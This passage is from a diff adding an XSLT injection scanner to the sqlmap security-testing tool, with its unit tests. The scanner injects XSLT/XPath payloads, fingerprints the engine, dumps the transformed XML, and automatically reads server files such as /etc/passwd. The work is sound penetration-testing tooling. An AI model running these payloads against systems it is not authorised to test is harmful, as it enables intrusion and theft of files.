URL, cookies, headers, proxy and delay all behave exactly as in a normal run."""
if conf.delay:
time.sleep(conf.delay)
saved = conf.parameters.get(place, "")
conf.parameters[place] = _replaceSegment(place, parameter, value)
try:
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
page, _, _ = Request.getPage(raise404=False, silent=True)
return page
except Exception as ex:
logger.debug("XSLT probe request failed: %s" % getUnicode(ex))
return None
finally:
conf.parameters[place] = saved
def _isError(page):
return bool(page) and re.search(XSLT_ERROR_REGEX, getUnicode(page)) is not None
def _vendorFromError(page):
for vendor, regex in XSLT_ERROR_SIGNATURES:
if re.search(regex, getUnicode(page or "")):
return vendor
return None
def _echoed(page, needle):
return bool(page) and needle in getUnicode(page)
def _valuePayload(expression):
"""An XPath expression for the VALUE slot: the input already sits inside select="...", so only the
expression itself is injected."""
return expression
# Conventional prefix for the XSLT namespace. A stylesheet must bind it to be a stylesheet at all; a
# sheet using a different prefix simply fails the element-slot probes and is found through the value slot.
_XSL_PREFIX = "xsl"
def _elementPayload(expression):
"""A whole <xsl:value-of> instruction for the ELEMENT slot. The stylesheet already binds the 'xsl'
prefix (it could not be a stylesheet otherwise), so the instruction compiles in place."""
return '<%s:value-of select="%s"/>' % (_XSL_PREFIX, expression)
_BUILDERS = ((CONTEXT_ELEMENT, _elementPayload), (CONTEXT_VALUE, _valuePayload))
def _concat(*parts):
"""XPath 1.0 concat() over literals."""
return "concat(%s)" % ",".join(parts)
def _wrap(expression):
"""Wrap `expression` so its result arrives between two halves of the sentinel that only join when the
engine evaluates the concat (see _marks)."""
head, tail = _marks()
return _concat(_quote(head), _quote(tail), expression, _quote(head), _quote(tail))
def _captured(page, payload, span="1,120"):
"""The text an evaluated probe returned, or None.
Two independent conditions must hold, because either alone has been shown to be forgeable:
1. the page carries the JOINED sentinel, which only a real concat() can produce, and
2. the page does NOT carry the raw injected expression - a compiled transform emits its RESULT,
never its source text, so seeing the expression back means the input was reflected, not run.
"""
if not page:
return None
page = getUnicode(page)
if payload and getUnicode(payload) in page:
return None # reflected verbatim: nothing was evaluated
head, tail = _marks()
marker = re.escape(head + tail)
match = re.search(r"%s(.{%s}?)%s" % (marker, span, marker), page, re.DOTALL)
return match.group(1) if match else None
def _quote(value):
"""XPath 1.0 string literal. The language has no escape character, so a value containing both quote
kinds has to be assembled with concat() - and an unquotable path must not be silently mangled into a
payload that means something else."""
value = getUnicode(value)
if "'" not in value:
return "'%s'" % value
if '"' not in value:
return '"%s"' % value
parts = []
for index, chunk in enumerate(value.split("'")):
if index:
parts.append('"\'"')
if chunk:
parts.append("'%s'" % chunk)
return "concat(%s)" % ",".join(parts)
def _probeVendor(place, parameter, baseline):
"""T1: ask the engine to name itself. A response carrying SENTINEL+vendor+SENTINEL cannot be produced
by an application that merely echoes the parameter - the vendor string is the engine's own."""
for context, build in _BUILDERS:
for prop in XSLT_VENDOR_PROPERTIES:
payload = build(_wrap("system-property(%s)" % _quote(prop)))
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,120")
if captured is None:
continue
if captured.strip():
return context, captured.strip(), payload
# An EMPTY capture between the joined halves still proves concat() ran (this engine simply
# leaves the property unset), so it confirms execution without naming a vendor.
return context, None, payload
return None, None, None
def _probeEval(place, parameter, baseline):
"""T2: no vendor property came back, so prove evaluation with pure XPath arithmetic. The operands are
random per run, so the product exists nowhere in the application."""
a, b = randomStr(length=4, alphabet="123456789"), randomStr(length=4, alphabet="123456789")
expected = str(int(a) * int(b))
for context, build in _BUILDERS:
payload = build(_wrap("string(%s * %s)" % (a, b)))
captured = _captured(page=_send(place, parameter, payload), payload=payload)
if captured is not None and captured.strip() == expected:
return context, payload, "%s*%s=%s" % (a, b, expected)
return None, None, None
def _stable(place, parameter, value):
"""Send `value` twice and return the page only when both answers agree - a one-off difference is
noise, and detection built on noise is how a scanner invents findings."""
first = _send(place, parameter, value)
if first is None:
return None
second = _send(place, parameter, value)
if second is None:
return None
return first if getUnicode(first) == getUnicode(second) else None
def _probeCompile(place, parameter, baseline):
"""T3: prove the input is COMPILED as part of the stylesheet, for targets that reflect nothing.
The two slots are told apart by what breaks them, which is a property of XSLT rather than a guess:
inside select="..." a bare apostrophe leaves an unterminated literal and the stylesheet fails to
compile, whereas between elements the very same apostrophe is ordinary text and changes nothing. So a
bare quote that breaks the page means the VALUE slot; a slot that only breaks on a malformed
<xsl:value-of/> is the ELEMENT slot.
'Breaks' is satisfied either by a parser error (which also names the engine) or - where the
application swallows errors - by a reproducible difference from the untouched baseline. The latter is
the only tier that reaches a target with fixed output and no error surface."""
if baseline is None or _isError(baseline):
return None, None, None # no usable reference to compare against
# `or "x"` would replace an intentionally EMPTY parameter with a value it never had, so the
# baseline would not be the application's own
original = _originalValue(place, parameter)
original = "x" if original is None else original
# For BOTH slots the 'valid' form has to be one that leaves the page identical to the baseline. Using
# an instruction that EMITS a sentinel for the element slot made that condition unsatisfiable on every
# engine (a real one prints the sentinel, an echo reflects the instruction), so the whole element
# branch was unreachable and element slots with swallowed errors were silently missed.
for context, valid, broken, xpathy in (
(CONTEXT_VALUE, original, "%s'" % original, "concat(%s,'')" % original),
(CONTEXT_ELEMENT, original, '<%s:value-of select="\'"/>' % _XSL_PREFIX,
_elementPayload("substring('',1,0)")),
):
brokenPage = _stable(place, parameter, broken)
if brokenPage is None:
continue
if _isError(brokenPage):
return context, _vendorFromError(brokenPage) or "Generic XSLT", broken
# No error surface, so the DIFFERENCE is the only signal - and a difference alone proves nothing
# about XSLT. Any parser breaks on a stray apostrophe: a SQL string, an XQuery predicate, a shell
# word. Three conditions have to hold together before this counts:
# 1. the broken form changes the page,
# 2. the untouched form reproduces the baseline (so the parameter is not simply volatile),
# 3. an XPath FUNCTION CALL is accepted and behaves like the baseline - which a SQL or XQuery
# string context cannot do, because there the same text is just a literal that matches
# nothing and changes the page.
# Without (3) this tier would report XSLT injection on every quote-sensitive parameter.
if getUnicode(brokenPage) == getUnicode(baseline):
continue
validPage = _stable(place, parameter, valid)
if validPage is None or getUnicode(validPage) != getUnicode(baseline):
continue
if xpathy is not None:
xpathyPage = _stable(place, parameter, xpathy)
if xpathyPage is None or getUnicode(xpathyPage) != getUnicode(baseline):
continue
return context, "Generic XSLT", broken
return None, None, None
def _readFile(place, parameter, context, path, readers=("unparsed-text", "document")):
"""T4: read a text file. document() parses its target as XML, so a non-XML file only surfaces through
unparsed-text() (XSLT 2.0+). Both are tried by default and whichever returns content wins."""
build = dict(_BUILDERS)[context]
uri = path if "://" in path else "file:///%s" % getText(path).replace("\\", "/").lstrip("/")
candidates = [_ for _ in (("unparsed-text", "unparsed-text(%s)" % _quote(uri)),
("document", "string(document(%s))" % _quote(uri))) if _[0] in readers]
for _reader, expression in candidates:
payload = build(_wrap(expression))
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH)
if captured and captured.strip():
return captured[:XSLT_MAX_FILE_LENGTH], expression
return None, None
def _dumpSourceDocument(place, parameter, context):
"""Exfiltrate the XML document the stylesheet is transforming - the XSLT-native equivalent of the
'dump' the other non-SQL engines perform automatically. <xsl:copy-of select="/"/> serialises the whole
input tree, which is the actual application data the transformation was built to render."""
if context != CONTEXT_ELEMENT:
return None # a value slot can only carry an expression, and copy-of is an instruction
# copy-of is an instruction, not an expression, so the sentinel cannot be split through concat here.
# The reflection guard in _captured() is what keeps an echo endpoint from handing back its own
# <xsl:copy-of/> text as if it were the transformed document.
head, tail = _marks()
payload = "%s%s<%s:copy-of select=\"/\"/>%s%s" % (head, tail, _XSL_PREFIX, head, tail)
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="1,%d" % XSLT_MAX_FILE_LENGTH)
if captured and captured.strip() and "copy-of" not in captured:
return captured.strip()[:XSLT_MAX_FILE_LENGTH]
return None
def _harvestFiles(place, parameter, context):
"""Proactive, best-effort file harvest once the injection is CONFIRMED, the way the other non-SQL
engines auto-dump what they can reach: a user who reaches for '--xslt' should not have to know that
'--file-read' exists to see impact.
Two reader primitives, because they cover different engines: unparsed-text() takes any text file but
needs XSLT 2.0+, while document() works on 1.0 (most of the installed base) yet only loads well-formed
XML. Content is de-duplicated so an engine that resolves every missing path to the same stub cannot
masquerade as many distinct reads. Bounded by XSLT_MAX_HARVEST."""
harvested = []
seen = set()
for reader, paths in (("unparsed-text", XXE_FILE_HARVEST), ("document", XSLT_XML_HARVEST)):
for path in paths:
if len(harvested) >= XSLT_MAX_HARVEST:
return harvested
content, how = _readFile(place, parameter, context, path, readers=(reader,))
if not (content and content.strip()):
continue
key = content.strip()
if key in seen:
continue
seen.add(key)
harvested.append((path, content, how))
return harvested
def _probeRce(place, parameter, context):
"""Report - never invoke - the extension primitives that would turn this into code execution. Their
mere availability is the finding; exercising them is out of scope for this switch."""
build = dict(_BUILDERS)[context]
retVal = []
for label, expression in XSLT_RCE_PROBES:
payload = build(_wrap(expression))
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,40")
# function-available() answers the STRING 'true'/'false', so a non-empty capture is not a hit -
# only an explicit true is. Reporting on non-empty would flag every engine as exploitable.
if captured is not None and captured.strip().lower() == "true":
retVal.append(label)
return retVal
def _dumpFileRead(remoteFile, content):
try:
localPath = dataToOutFile(remoteFile, getBytes(content))
except Exception as ex:
logger.debug("could not save the XSLT-read file to disk: %s" % getUnicode(ex))
localPath = None
if localPath:
conf.dumper.rFile([localPath])
else:
conf.dumper.singleString("XSLT file read ('%s'):\n%s" % (remoteFile, content))
def _report(slot, title, extra=None):
lines = ["---", "Parameter: %s (%s)" % (slot.parameter, slot.place),
" Type: XSLT injection", " Title: %s" % title,
" Payload: %s=%s" % (slot.parameter, slot.payload)]
if slot.vendor:
lines.append(" Engine: %s" % slot.vendor)
for line in (extra or []):
lines.append(" %s" % line)
lines.append("---")
conf.dumper.singleString("\n".join(lines))
def xsltScan():
global SENTINEL
SENTINEL = randomStr(length=10, lowercase=True)
debugMsg = "'--xslt' is self-contained: it detects XSLT injection in HTTP parameters, fingerprints "
debugMsg += "the transformation engine and reads files through it. SQL enumeration switches "
debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) are ignored"
logger.debug(debugMsg)
if not conf.paramDict:
logger.error("no request parameters to test (use --data, GET params, or similar)")
return
tested = found = 0
for place in (_ for _ in XSLT_PLACES if _ in conf.paramDict):
for parameter in list(conf.paramDict[place].keys()):
if conf.testParameter and parameter not in conf.testParameter:
continue
tested += 1
logger.info("testing XSLT injection on %s parameter '%s'" % (place, parameter))
_orig = _originalValue(place, parameter)
baseline = _send(place, parameter, "x" if _orig is None else _orig)
context, vendor, payload = _probeVendor(place, parameter, baseline)
title = "XSLT in-band (engine fingerprint)"
detail = None
if context is None:
context, payload, detail = _probeEval(place, parameter, baseline)
title = "XSLT in-band (arithmetic evaluation)"
vendor = None
if context is None:
context, vendor, payload = _probeCompile(place, parameter, baseline)
title = "XSLT compile-differential (no reflection)"
detail = None
if context is None:
continue
found += 1
if conf.beep:
beep()
vendor = vendor or _vendorFromError(baseline) or "Generic XSLT"
slot = Slot(place=place, parameter=parameter, context=context, vendor=vendor, payload=payload)
logger.info("%s parameter '%s' is vulnerable to XSLT injection (engine: '%s', %s context)"
% (place, parameter, vendor, context))
extra = []
if detail:
extra.append("Proof: the engine computed %s" % detail)
rce = _probeRce(place, parameter, context)
if rce:
extra.append("Extensions available (NOT exercised): %s" % ", ".join(rce))
logger.warning("the engine exposes %s - this injection can reach code execution; "
"'--xslt' reports it but does not use it" % ", ".join(rce))
_report(slot, title, extra)
# A confirmed finding is exploited automatically, like every other non-SQL switch: whoever
# reaches for '--xslt' should not need to know that '--file-read' exists to see impact. An
# explicit '--file-read' overrides the harvest and is honoured verbatim instead.
if conf.fileRead:
logger.info("reading file '%s' through the XSLT engine" % conf.fileRead)
content, how = _readFile(place, parameter, context, conf.fileRead)
if content:
logger.info("XSLT file read succeeded via %s (%d characters)" % (how, len(content)))
if how.startswith("string(document("):
logger.warning("document() parses its target as XML, so this is the file's TEXT "
"CONTENT rather than its raw bytes")
_dumpFileRead(conf.fileRead, content)
else:
logger.warning("XSLT file read of '%s' failed. document() only reads well-formed XML, "
"and unparsed-text() needs an XSLT 2.0+ engine (this one reports '%s')"
% (conf.fileRead, vendor))
else:
source = _dumpSourceDocument(place, parameter, context)
if source:
logger.info("dumping the XML document the stylesheet transforms (%d characters)" % len(source))
conf.dumper.singleString("XSLT: %s parameter '%s' source document\n%s" % (place, parameter, source))
logger.info("harvesting reachable files through the XSLT engine")
harvested = _harvestFiles(place, parameter, context)
for path, content, how in harvested:
logger.info("read '%s' via %s (%d characters)" % (path, how, len(content)))
_dumpFileRead(path, content)
if not harvested:
logger.info("no file could be read automatically (document() needs well-formed XML and "
"unparsed-text() needs an XSLT 2.0+ engine)")
if source or harvested:
logger.info("use '--file-read' to target one specific file instead of this harvest")
if not found:
if tested:
logger.warning("no parameter appears to be injectable via XSLT injection (%d tested)" % tested)
else:
logger.warning("no parameters found to test for XSLT injection")
logger.info("XSLT scan complete")
+230
View File
@@ -0,0 +1,230 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
Coverage for the XSLT injection engine (lib/techniques/xslt/inject.py) and the XQuery tier the XPath
engine gained (lib/techniques/xpath/inject.py).
Network-free: the payload builders, engine fingerprinting and charset construction are pure functions, so
they are asserted directly. The parts that decide a VERDICT get the most attention - a detection tier that
rests on "the page changed" is exactly the kind that invents findings, so its guards are pinned here.
stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
"""
import os
import re
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap
bootstrap()
from lib.core.settings import XSLT_ERROR_REGEX
from lib.core.settings import XSLT_RCE_PROBES
from lib.core.settings import XSLT_VENDOR_PROPERTIES
from lib.core.settings import XQUERY_CAPABILITY_PROBES
from lib.core.settings import XQUERY_FILE_READ
from lib.techniques.xslt import inject as _xslt
from lib.techniques.xpath import inject as _xpath
def _source(*parts):
with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", *parts)) as f:
return f.read()
class XsltPayloadTest(unittest.TestCase):
def test_element_payload_is_a_whole_instruction(self):
payload = _xslt._elementPayload("'a'")
self.assertTrue(payload.startswith("<xsl:value-of "))
self.assertIn('select="\'a\'"', payload)
def test_value_payload_is_the_bare_expression(self):
"""The value slot already sits inside select="...", so wrapping it would break the attribute."""
self.assertEqual(_xslt._valuePayload("system-property('xsl:vendor')"), "system-property('xsl:vendor')")
def test_sentinel_wrapping_makes_a_hit_unambiguous(self):
expression = _xslt._concat("'S'", "system-property('xsl:vendor')", "'S'")
self.assertEqual(expression, "concat('S',system-property('xsl:vendor'),'S')")
def test_both_slots_are_probed(self):
self.assertEqual([_ for _, __ in _xslt._BUILDERS], [_xslt.CONTEXT_ELEMENT, _xslt.CONTEXT_VALUE])
class XsltReflectionSafetyTest(unittest.TestCase):
"""The tier that reports a finding must not be satisfiable by an application that merely echoes the
parameter. This is the exact defect two reviewers found: a plain search page was reported vulnerable
and then 'read' /etc/shadow out of its own reflected payload."""
def test_joined_marker_is_absent_from_the_raw_payload(self):
"""An echo can only reflect what was sent, so the marker must not exist until concat() runs."""
head, tail = _xslt._marks()
payload = _xslt._wrap("system-property('xsl:vendor')")
self.assertIn(head, payload)
self.assertIn(tail, payload)
self.assertNotIn(head + tail, payload)
def test_echoed_payload_yields_no_capture(self):
payload = _xslt._wrap("system-property('xsl:vendor')")
echoed = "<html><body>you searched for: %s</body></html>" % payload
self.assertIsNone(_xslt._captured(page=echoed, payload=payload))
def test_evaluated_response_yields_the_result(self):
head, tail = _xslt._marks()
payload = _xslt._wrap("system-property('xsl:vendor')")
page = "<html><body>%slibxslt%s</body></html>" % (head + tail, head + tail)
self.assertEqual(_xslt._captured(page=page, payload=payload), "libxslt")
def test_raw_expression_in_the_page_is_rejected_even_with_the_marker(self):
"""Defence in depth: a compiled transform emits its RESULT, never its source text."""
head, tail = _xslt._marks()
payload = _xslt._wrap("system-property('xsl:vendor')")
page = "%slibxslt%s and also %s" % (head + tail, head + tail, payload)
self.assertIsNone(_xslt._captured(page=page, payload=payload))
def test_empty_capture_is_reachable_and_means_executed(self):
"""The span allows a zero-length capture, so 'concat ran but the property is unset' is a real
outcome rather than the dead branch it used to be."""
head, tail = _xslt._marks()
payload = _xslt._wrap("system-property('xsl:unset')")
page = "%s%s" % (head + tail, head + tail)
self.assertEqual(_xslt._captured(page=page, payload=payload, span="0,120"), "")
class XsltDifferentialTest(unittest.TestCase):
def test_both_slots_use_a_baseline_preserving_valid_form(self):
"""The 'valid' probe has to leave the page identical to the baseline. An element-slot form that
EMITS a sentinel can never satisfy that, which made the whole element branch unreachable."""
import inspect
source = inspect.getsource(_xslt._probeCompile)
self.assertIn("(CONTEXT_ELEMENT, original,", source)
self.assertNotIn("_elementPayload(\"'%s'\" % SENTINEL)", source)
def test_element_slot_has_an_xpath_function_guard(self):
"""Without it the element branch would report on 'the page changed', which any parser does."""
import inspect
source = inspect.getsource(_xslt._probeCompile)
self.assertIn("_elementPayload(\"substring(", source)
class XsltFingerprintTest(unittest.TestCase):
def test_known_engines_are_attributed(self):
for page, expected in (
("lxml.etree.XSLTParseError: bad stylesheet", "libxslt / lxml"),
("xsltParseStylesheet : problem", "libxslt"),
("net.sf.saxon.trans.XPathException: XTDE1260", "Saxon"),
("javax.xml.transform.TransformerConfigurationException", "Xalan / Java JAXP"),
("System.Xml.Xsl.XslLoadException: bad", ".NET XslCompiledTransform"),
("XSLTProcessor::importStylesheet(): compilation error", "PHP XSLTProcessor"),
):
self.assertEqual(_xslt._vendorFromError(page), expected, page)
def test_a_specific_binding_wins_over_the_generic_engine(self):
"""PHP's XSLTProcessor and lxml are both libxslt and emit its wording, so the specific binding has
to be reported - that is what tells the tester what they are actually talking to."""
self.assertEqual(_xslt._vendorFromError("XSLTProcessor::transformToXml(): compilation error"), "PHP XSLTProcessor")
self.assertEqual(_xslt._vendorFromError("lxml.etree.XSLTApplyError: compilation error"), "libxslt / lxml")
def test_a_plain_page_is_not_an_error(self):
for page in ("<html><body>luther</body></html>", "", None, "no results found"):
self.assertFalse(_xslt._isError(page), repr(page))
def test_error_regex_is_anchored_to_xslt_vocabulary(self):
"""This regex also drives the GLOBAL heuristic hint, so a generic compiler/regex/SQL failure must
not suggest '--xslt' on a target that has nothing to do with XSLT."""
for page in ("You have an error in your SQL syntax", "Traceback (most recent call last)",
"org.postgresql.util.PSQLException", "500 Internal Server Error",
"gcc: compilation error", "javac: compilation error",
"Invalid expression at line 4", "regex: Invalid expression"):
self.assertIsNone(re.search(XSLT_ERROR_REGEX, page), page)
def test_error_regex_still_matches_every_real_engine(self):
for page in ("xsltParseStylesheet : problem", "lxml.etree.XSLTParseError: bad",
"XSLTProcessor::importStylesheet(): compilation error",
"System.Xml.Xsl.XslLoadException", "net.sf.saxon.trans.XPathException: XTDE1260",
"javax.xml.transform.TransformerConfigurationException"):
self.assertIsNotNone(re.search(XSLT_ERROR_REGEX, page), page)
def test_unquotable_paths_do_not_break_the_literal(self):
"""XPath 1.0 has no escape character, so a path with both quote kinds needs concat()."""
self.assertEqual(_xslt._quote("/etc/passwd"), "'/etc/passwd'")
self.assertEqual(_xslt._quote("/tmp/o'brien"), '"/tmp/o\'brien"')
self.assertTrue(_xslt._quote("/tmp/bo\"th's").startswith("concat("))
def test_vendor_properties_are_xslt_defined(self):
self.assertIn("xsl:vendor", XSLT_VENDOR_PROPERTIES)
for prop in XSLT_VENDOR_PROPERTIES:
self.assertTrue(prop.startswith("xsl:"), prop)
class XsltRcePolicyTest(unittest.TestCase):
"""The extension surfaces are reported, never invoked - the probes must only ASK whether a function
exists, never call it."""
def test_probes_only_test_availability(self):
for label, expression in XSLT_RCE_PROBES:
self.assertTrue(expression.startswith("string(function-available(")
or expression.startswith("string(element-available("), expression)
self.assertNotIn("Runtime.exec", expression)
self.assertNotIn("system(", expression)
def test_labels_say_what_the_primitive_is(self):
joined = " ".join(label for label, _ in XSLT_RCE_PROBES).lower()
for expected in ("php", "exsl", "saxon", "java"):
self.assertIn(expected, joined)
class XQueryTierTest(unittest.TestCase):
def test_capability_probes_are_absent_from_xpath_1_0(self):
"""Each probe calls a function XPath 1.0 does not define, which is what makes a positive answer a
demonstrated capability rather than an inference."""
for probe in XQUERY_CAPABILITY_PROBES:
self.assertTrue(any(fn in probe for fn in ("string-join", "upper-case", "matches")), probe)
def test_file_read_uses_unparsed_text(self):
self.assertIn("unparsed-text", XQUERY_FILE_READ)
self.assertEqual(XQUERY_FILE_READ % "'/etc/passwd'", "unparsed-text('/etc/passwd')")
def test_file_charset_covers_tab_and_newline(self):
"""The XML-tree charset excludes them; a file recovered with newlines replaced by '?' is useless."""
self.assertIn(0x09, _xpath._FILE_ORDS)
self.assertIn(0x0a, _xpath._FILE_ORDS)
self.assertIn(ord('&'), _xpath._FILE_ORDS)
def test_file_charset_literal_carries_no_transport_hazard(self):
"""Built from codepoints because the charset contains ' " & and < - a bare '&' is an invalid
entity in an XQuery string literal AND splits a query-string parameter in two."""
literal = _xpath._FILE_LITERAL
self.assertTrue(literal.startswith("codepoints-to-string(("))
for hazard in ("'", '"', "&", "<"):
self.assertNotIn(hazard, literal)
def test_file_charset_literal_matches_the_ordinals(self):
codes = [int(_) for _ in re.search(r"\(\((.*)\)\)", _xpath._FILE_LITERAL).group(1).split(",")]
self.assertEqual(codes, _xpath._FILE_ORDS)
def test_builders_accept_a_charset_override(self):
"""The override is what keeps the file read from disturbing XML-tree extraction."""
builder = _xpath._XPathPayloadBuilder("x", _xpath.Boundary("' or ", " and '1'='1", True))
self.assertIn("ZZZ", builder.charPresent("t", 1, "ZZZ"))
self.assertIn("ZZZ", builder.charIndexAtLeast("t", 1, 2, "ZZZ"))
self.assertIn(_xpath._CS_LITERAL, builder.charPresent("t", 1))
class SwitchWiringTest(unittest.TestCase):
def test_switch_is_registered_and_mutually_exclusive(self):
from lib.core.optiondict import optDict
self.assertEqual(optDict["Techniques"].get("xslt"), "boolean")
self.assertIn('("--xslt", conf.xslt)', _source("lib", "core", "option.py"))
def test_controller_dispatches_the_scan(self):
self.assertIn("from lib.techniques.xslt.inject import xsltScan", _source("lib", "controller", "controller.py"))
if __name__ == "__main__":
unittest.main()